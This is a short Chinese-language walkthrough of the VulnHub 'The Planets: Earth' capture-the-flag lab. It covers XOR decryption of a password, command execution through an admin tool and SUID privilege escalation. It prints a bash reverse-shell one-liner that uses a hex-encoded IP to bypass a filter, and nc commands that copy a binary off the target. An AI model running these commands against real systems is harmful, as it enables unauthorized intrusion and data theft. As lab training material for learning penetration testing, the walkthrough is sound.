The Planets:Earth
项目地址:https://download.vulnhub.com/theplanets/Earth.ova
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本,发现有两个域名

更新到 /etc/hosts 文件中

CTF
异或解密
访问域名的 80 端口来到 Web 页面

80 端口的话两个域名访问的页面相同
给第一个站点换成 443 端口可以正常访问

但是第二个变成了另外一个页面

分别对这四个页面进行目录扫描

访问过去拿到提示

后缀为 *,我们换成 txt 访问找到了用户名 terra

并且得知主页上的信息是用异或加密的,在这部分

还使用 testdata.txt 来测试加密

异或加密需要两部分,其中一部分已经给出,就是 testdata.txt
另一部分推测是页面下面的数值,于是去异或解密

拿到重复的 earthclimatechangebad4humans,推测是密码
结合前面信息收集扫描出的一个后台

登录成功

RCE
Admin Command Tool(十六禁止绕过)
尝试直接弹 Shell 无果,回显禁止远程连接

推测是对 IP 做了限制,使用十六进制绕过
1 | bash -i >& /dev/tcp/0xC0.0xA8.0x6E.0x80/6666 0>&1 |
成功拿到 Shell

提权
SUID 提权
查看权限没给机会,找到一个带有 SUID 的文件

直接运行无果,说是所有触发器均不存在

利用 nc 传递文件,服务端:nc -nlvp 8899 > reset_root
shell 端:nc 192.168.0.12 8899 < /usr/bin/reset_root,不分先后顺序

然后使用 strace 进行调试 strace ./reset_root,显示缺少三个文件

对应的靶机也没有找到这三个文件,于是去创建
1 | access("/dev/shm/kHgTFI5G", F_OK) = -1 ENOENT (No such file or directory) |
最后运行程序成功重置密码拿到 Shell
